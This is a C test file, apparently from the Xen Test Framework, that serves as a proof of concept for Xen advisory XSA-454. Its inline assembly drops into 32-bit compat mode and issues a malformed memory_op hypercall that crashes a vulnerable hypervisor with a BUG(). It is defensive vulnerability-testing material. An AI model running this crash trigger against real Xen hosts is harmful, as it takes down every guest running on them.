main.c

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#include <xtf.h>
 
const char test_title[] = "XSA-454 PoC";
 
void test_main(void)
{
    unsigned long tmp;
 
    /* Allow us to use the stack in __KERN_CS32 */
    write_ss(GDTE_DS32_DPL0 << 3);
 
    asm volatile (/* Drop into a 32bit compat code segment. */
                  "push $%c[cs32];"
                  "push $1f;"
                  "lretq; 1:"
 
                  ".code32;"
                  "start_32bit:;"
 
                  /* Compat hypercall_memory_op(XENMEM_maximum_ram_page, NULL); */
                  "call HYPERCALL_memory_op;"
 
                  /* Return to 64bit. */
                  "ljmpl $%c[cs], $1f;"
                  "end_32bit:;"
 
                  ".code64; 1:"
                  : "=a" (tmp),
                    "=b" (tmp),
                    "=c" (tmp)
                  : "b" (XENMEM_maximum_ram_page | (1UL << 32)),
                    "c" (NULL),
                    [cs32] "i" (__KERN_CS32),
                    [cs]   "i" (__KERN_CS));
 
    /* If Xen is still alive, it didn't hit a BUG(). */
    xtf_success("Success: Not vulnerable to XSA-454\n");
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */